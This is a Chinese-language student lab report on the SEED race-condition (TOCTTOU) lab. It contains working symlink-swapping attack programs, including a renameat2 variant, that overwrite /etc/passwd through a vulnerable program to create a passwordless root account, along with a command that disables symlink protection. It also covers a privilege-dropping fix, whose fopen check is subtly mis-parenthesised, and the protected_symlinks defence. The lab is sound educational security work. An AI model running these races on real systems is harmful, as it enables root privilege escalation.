Race Condition Vulnerability Lab操作系统实验
实验准备
有TOCTTOU竞态条件漏洞的程序(vulp.c)
/* vulp.c */
#include <stdio.h>
#include<unistd.h>
int main()
{
char * fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
/* get user input */
scanf("%50s", buffer );
if(!access(fn, W_OK)){ ➀
fp = fopen(fn, "a+"); ➁
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else printf("No permission \n");
}
由于Ubuntu10之后的系统修复了漏洞,需要禁用保护措施。
代码:
// On Ubuntu 16.04, use the following:
$ sudo sysctl -w fs.protected_symlinks=0
Task 2.A
target_process.sh
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
./vulp < passwd_input
new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
执行target_process.sh脚本需要在命令行输入:
$ bash ./target_process.sh
分析代码知CHECK_FILE为一个shell指令,效果为获取/etc/passwd文件的标签信息。令old与new都等于CHECK_FILE的执行结果,并进入while循环。当passwd文件未被修改时,old始终都等于new。只有passwd被修改时才会跳出循环并输出运行结束的提示。
attack_process.c
#include <unistd.h>
int main()
{
while(1)
{
unlink("/tmp/XYZ");
symlink("/dev/null","/tmp/XYZ");
usleep(1000);
unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");
usleep(1000);
}
return 0;
}
//编译命令:gcc -o attack_process attack_process.c
分析代码知该程序反复将/tmp/XYZ指向无root权限的/dev/null和有root权限的/etc/passwd。usleep(1000)降低反复执行的速率,逃避系统检查。
运行&结果
在开始运行attack_process 后,XYZ开始反复获取与失去权限。开始执行target_process.sh脚本,当XYZ无权限时,脚本可以访问XYZ所链接的/dev/null;当XYZ有权限时,脚本无法访问所链接的/etc/passwd,也就无法写入。但当检测到XYZ有访问权限后立即修改XYZ指向passwd,则可以顺利访问。
如图所示,将passwd_input文件的内如写入到passwd中,成功创建一个不需要密码的root用户
异常
几次实验中发现,有一次在开始执行target_process.sh脚本时无输出拒绝访问的提示,查看/tmp/XYZ的拥有者变成了root。修改usleep()的参数更大即无问题。根据实验手册解释,在attack_process执行unlink()与symlink()之间,target执行vulp并以root权限创建了/tmp/XYZ文件,导致攻击失败。
Task 2.B
attack2.c
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>
int main()
{
while(1){
unsigned int flags = RENAME_EXCHANGE;
unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
syscall(SYS_renameat2, 0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
}
return 0;
}
将attack2程序代替A中的attack程序,XYZ文件的权限更迭发生在同一条指令中,更加"atomic",使得A中的攻击失败不再出现。
实际上第二种攻击方法还比第一种更加快速,因为第二种攻击方式中攻击方式没发生改变,但无效的时间段相较A中更短,也更易攻击。
Task 3
原来的vulp程序违反了最小权限原则,所以产生了上面的漏洞。为了避免给予程序过大的权限,尤其是在类似修改数据的地方,可以采用降权的方式。vulp代码修改如下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
int main()
{
char * fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
/* get user input */
scanf("%50s", buffer );
uid_t real_uid = getuid();
uid_t eff_uid = geteuid();
seteuid(real_uid);
if(fp = fopen(fn, "a+")!=NULL){
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else printf("No permission \n");
seteuid(eff_uid);
}
在即将能够修改数据的时候自动获取程序的真实用户,使之只能行使自身能够行使的权力,在完成数据修改工作后再恢复权限。
如图,在展开如前的攻击方式,实机实验10min仍攻击失败。
Task 4
还记得实验开始,为了打开实验漏洞而关闭了symlink的保护机制。现在将其恢复:
$ sudo sysctl -w fs.protected_symlinks=1
再重新进行Task 2.B的攻击方式,发现原本应该有效用户是seed的/tmp/XYZ文件在攻击过程中被修改为root,使原本的攻击手段如同Task 2.A中偶尔出现的情况一样失败
问题解决
- How does this protection scheme work?
多次实验后可以观测到该保护机制的实现原理:当一个无权限的链接试图访问并成功访问关键文件的时候,自动将该链接升为root,则无法被普通用户程序修改,attack2的竞态条件就不存在了,攻击失败。 - What are the limitations of this scheme?
这种防御方式无法防御第一次攻击,如果第一次攻击就达成竞态条件,攻击即可成功,防御失败。
实验总结
TOCTTOU竞态现象是本次实验的攻击手段的基础。在访问文件前,计算机会先检测当前用户权限是否能够打开该文件,而这个漏洞通过链接的快速更换,欺骗系统当前权限能够打开,并随即更换链接对象为关键文件,达到修改隐私文件的目的,完成攻击。